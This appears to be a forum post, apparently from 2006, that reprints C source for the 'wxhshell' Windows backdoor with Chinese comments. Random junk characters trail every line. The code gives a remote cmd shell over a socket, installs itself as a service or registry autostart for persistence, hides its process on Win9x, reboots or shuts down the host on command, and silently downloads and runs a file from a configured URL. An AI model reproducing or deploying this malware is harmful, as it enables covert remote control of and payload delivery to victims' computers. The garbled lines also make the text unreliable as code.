  4?x$O{D5?{  
  // 帮助 p1\E C#Q  
  case '?': { <2w 41QZX  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); UzkX;UA  
    break; l_ &T)Ei  
  } xl@  
  // 安装 &!8u4*K5j  
  case 'i': { ?)/H8n  
    if(Install()) +|O& k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }M(XHw  
    else _^w^tfH]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X5P1wxk'  
    break; 7(zY:9|(  
    } SciEHI#  
  // 卸载 "3a_C,\  
  case 'r': { ~uO9>(?D  
    if(Uninstall()) m\|ie8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RLF]Wa,  
    else be&,V_F  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $K~ t'wr  
    break; uo^tND4a;j  
    } ` H|#l\  
  // 显示 wxhshell 所在路径 ^Pc&`1Ap  
  case 'p': { )G$0:-J-  
    char svExeFile[MAX_PATH]; 8.D9OpU  
    strcpy(svExeFile,"\n\r"); J|o )c~  
      strcat(svExeFile,ExeFile); R<8!lQ4s  
        send(wsh,svExeFile,strlen(svExeFile),0); OQsF$% *   
    break; ^/Frg<>'p  
    } GEfTs[  
  // 重启 WcE/,<^*  
  case 'b': { N1z:9=(I  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); -(![xZ1{K  
    if(Boot(REBOOT)) kM@heFJb.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;rh@q4#  
    else { Y[alOJ  
    closesocket(wsh); ~@ hiLW  
    ExitThread(0); }tH6E  
    } GMoE,L  
    break; Nc[u?-  
    } :+}Eo9  
  // 关机 Jg%jmI;Y  
  case 'd': { kT4Tb%7KM  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Qw/H7fvh&  
    if(Boot(SHUTDOWN)) Q2!vO4!<N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >[gNQJ6  
    else { gLPgh%B4  
    closesocket(wsh); g E;o_~  
    ExitThread(0); Ba]^0Y u  
    } [5Pin>]z  
    break; R9lb<`  
    } c{K[bppJ*  
  // 获取shell $<s 3;>t  
  case 's': { JG!@(lr  
    CmdShell(wsh); $"]*,=-X  
    closesocket(wsh); AtW<e;!0te  
    ExitThread(0); W%^;:YQ9i  
    break; K)r|oW=6Y  
  } p v*n.U6  
  // 退出 $n@B:kv5p  
  case 'x': { L)j<;{J/Q0  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); MFm2p?zPm  
    CloseIt(wsh); <ULydBom  
    break; 'z3I*[!  
    } ^N:bT;;$nZ  
  // 离开 Q !G^CG  
  case 'q': { 6'1m3<G_  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); XhG3Of-6  
    closesocket(wsh); B1Cu?k);.  
    WSACleanup(); l|&DI]gw  
    exit(1); 0P_3%   
    break; ^5BQ=  
        } \J,pV  
  } O4A{GO^q  
  } &S+o oj  
Ow4H7 sl  
  // 提示信息 X[KHI1@w  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); t bEJyA  
} H|*Ual  
  } rc+}KO  
dw]jF=u  
  return; ._IBO;*@  
} hTVA^j(w  
&a bR}J[  
// shell模块句柄 }IGoPCV|  
int CmdShell(SOCKET sock) j$Z:S~*  
{ `5C uH  
STARTUPINFO si; Tg ~SGAc  
ZeroMemory(&si,sizeof(si)); |#?:KvU97E  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #J09Eka;J  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ZQY?wO: [  
PROCESS_INFORMATION ProcessInfo; bL]NSD  
char cmdline[]="cmd"; |Y&&g=7  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);  c 1o8   
  return 0; 6@; P  
} #:LI,t  
 d| OEZx  
// 自身启动模式 $I }k>F  
int StartFromService(void) DZE@C^ 0%  
{ _?QVc0S!  
typedef struct #9ZHt5T=$  
{ x|lX1Mh$  
  DWORD ExitStatus; }*9mNE  
  DWORD PebBaseAddress; \olYv!f  
  DWORD AffinityMask; I$w:qS&:  
  DWORD BasePriority; Iu|4QE  
  ULONG UniqueProcessId; ;2jH;$HZ  
  ULONG InheritedFromUniqueProcessId; Gj H$!P=.  
}   PROCESS_BASIC_INFORMATION; WYXh1_nyk  
'| rhm  
PROCNTQSIP NtQueryInformationProcess; ztb?4f q6)  
^'ac |+  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; SM8Wg>  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 0S71&I$u]  
G24 Ov&H  
  HANDLE             hProcess; 7/b\NLeJ'  
  PROCESS_BASIC_INFORMATION pbi; )LDBvpJyQ  
5Sv;a(}  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); JsD|igqF-  
  if(NULL == hInst ) return 0; vA&MJD{  
Jwt_d }ns  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); j9^V)\6)  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); N83c+vs%c  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); hxe X6  
e .1! K  
  if (!NtQueryInformationProcess) return 0; *BFG{P  
PEDV9u[A  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); eNc>^:&y*  
  if(!hProcess) return 0; S";c7s  
&f($= 68  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 9mRP%c#(  
KI Xp+Z  
  CloseHandle(hProcess); ]wm<$+@  
;nbV-<e  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); (utk)  
if(hProcess==NULL) return 0; g?E8zf `  
F0x'^Z}Q;  
HMODULE hMod; 7*\Cf qrU  
char procName[255]; n5>OZ3 E@  
unsigned long cbNeeded; d`9ofw~3=  
z,xGjS P  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); :Fh#"<A&&  
l#bE_PD;  
  CloseHandle(hProcess); BHNEP |=  
+*L<"@  
if(strstr(procName,"services")) return 1; // 以服务启动 k$3Iv"gbx  
K;j0cxl  
  return 0; // 注册表启动 45A|KaVpg  
} gJBw6'Z  
v+(-\T\i  
// 主模块 pPsT,i?  
int StartWxhshell(LPSTR lpCmdLine) I_\?wSNGM  
{ =M9;`EmC  
  SOCKET wsl; yIYQ.-DkS+  
BOOL val=TRUE; MnTJFo"  
  int port=0; R@~=z5X( Q  
  struct sockaddr_in door; .OcI.1H[  
ex6 QHUQ  
  if(wscfg.ws_autoins) Install(); 2$TwD*[  
8h,=yAn5  
port=atoi(lpCmdLine); .s-*aoj  
D=@bPB>  
if(port<=0) port=wscfg.ws_port; hg2UZ% Y  
10IX8 4  
  WSADATA data; !xvAy3  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; zmhL[1qj  
zS*vKyye>  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   #Q` TH<  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +vt?3i\^.  
  door.sin_family = AF_INET; :hTmt{LjN  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 2@,rIve  
  door.sin_port = htons(port); EslHml#  
N"8'=wB  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Y^tUcBm\  
closesocket(wsl); ;a 6Z=LB  
return 1; %>- ?oor  
} =z zmz7op  
RA1K$D ?A  
  if(listen(wsl,2) == INVALID_SOCKET) { nxMZd=Y  
closesocket(wsl); BU.O[?@64  
return 1; :!yPR  
} ~s*kuj'%+  
  Wxhshell(wsl); &} r-C97  
  WSACleanup(); qs {wrem  
>|aVGY  
return 0; KAg-M#  
9AJ"C7  
} K57u87=*X?  
MU:q`DRr  
// 以NT服务方式启动 i}5M'~ F  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) apjoIO-<  
{ hc*tQ2  
DWORD   status = 0; 2Mu@P8O&  
  DWORD   specificError = 0xfffffff; 08+\fT [  
5,J.$Sax  
  serviceStatus.dwServiceType     = SERVICE_WIN32; bbT1p :RF  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 0BQ{ZT-Kh  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; >i"WKd=  
  serviceStatus.dwWin32ExitCode     = 0; VS3lz?o?6g  
  serviceStatus.dwServiceSpecificExitCode = 0; {q! :t0X.Y  
  serviceStatus.dwCheckPoint       = 0; lvx[C7?  
  serviceStatus.dwWaitHint       = 0; HCT+.n6  
u#UtPF7q  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7%Ou6P$^fr  
  if (hServiceStatusHandle==0) return; ?x/Lb*a^  
Va[t'%~&zR  
status = GetLastError(); liMw(F2  
  if (status!=NO_ERROR) N}nE?|N=5  
{ o)n= n!A  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 7{\6EC}d[&  
    serviceStatus.dwCheckPoint       = 0; ~r_2V$sC2  
    serviceStatus.dwWaitHint       = 0; $WXO1o(O  
    serviceStatus.dwWin32ExitCode     = status; 8[;AFm?,`  
    serviceStatus.dwServiceSpecificExitCode = specificError; f>|W d;7l:  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); PD~vq^@Q  
    return; s|I$c;>  
  } CEAmb[h  
vNju|=Lo  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 9_O6Sl  
  serviceStatus.dwCheckPoint       = 0; Gk xtGe  
  serviceStatus.dwWaitHint       = 0; wg<t*6&'x  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 45k.U$<|  
} <}T7;knO  
Yv.7-DHNl  
// 处理NT服务事件,比如:启动、停止 Xl:.`{5L  
VOID WINAPI NTServiceHandler(DWORD fdwControl) a(kY,<}  
{ %aV~RB#  
switch(fdwControl) ^1yD&i'q  
{ !%[fi[p  
case SERVICE_CONTROL_STOP: 1 @i/N  
  serviceStatus.dwWin32ExitCode = 0; Nt\0) &b  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ^*w}+tB  
  serviceStatus.dwCheckPoint   = 0; "T*1C=  
  serviceStatus.dwWaitHint     = 0; sX-@ >%l  
  { 3m$ck$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); axOEL:-|Bu  
  } Y<V$3h  
  return; t37<<5A  
case SERVICE_CONTROL_PAUSE: N<b~,[yCd>  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; &8I }q]'k  
  break; SLRF\mh!L  
case SERVICE_CONTROL_CONTINUE: AiB]A}  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; *Nfot v  
  break; =WHI/|&  
case SERVICE_CONTROL_INTERROGATE: f[ KI T  
  break; o/ 7[ G  
}; 6AoKuT;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); IJVzF1vC  
} [] el4.J,  
lF t^dl^  
// 标准应用程序主函数 xz, o Mlw  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) m>RtKCtP  
{ `X)A$lLr  
[b_qC'K[  
// 获取操作系统版本 o+.ySSBl+  
OsIsNt=GetOsVer(); `F]  
GetModuleFileName(NULL,ExeFile,MAX_PATH); pXvys] @  
\ C>+ubF  
  // 从命令行安装 Zl{9G?abCT  
  if(strpbrk(lpCmdLine,"iI")) Install(); `sDLxgwI  
UB+7]S  
  // 下载执行文件 4oL .Bt  
if(wscfg.ws_downexe) { *tv\5KW G  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) G4rzx%W?  
  WinExec(wscfg.ws_filenam,SW_HIDE); hiEYIx  
} mkhWbzD'S  
@;x*~0GZ  
if(!OsIsNt) { !8D>Bczq)  
// 如果时win9x,隐藏进程并且设置为注册表启动 7&9w_iCkV  
HideProc(); slhMvHOk-  
StartWxhshell(lpCmdLine); ?rA3<j  
} Eg8b|!-')8  
else q6ny2;/r  
  if(StartFromService()) Zd88+GS,#  
  // 以服务方式启动 #kh:GAp]  
  StartServiceCtrlDispatcher(DispatchTable); p<zeaf0W  
else 5S, Kq35$(  
  // 普通方式启动 )8oN$2 0  
  StartWxhshell(lpCmdLine); t{QQ;'  
O #t[YP  
return 0; dPbn[*:  
}
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只看该作者 1 发表于: 2006-10-10
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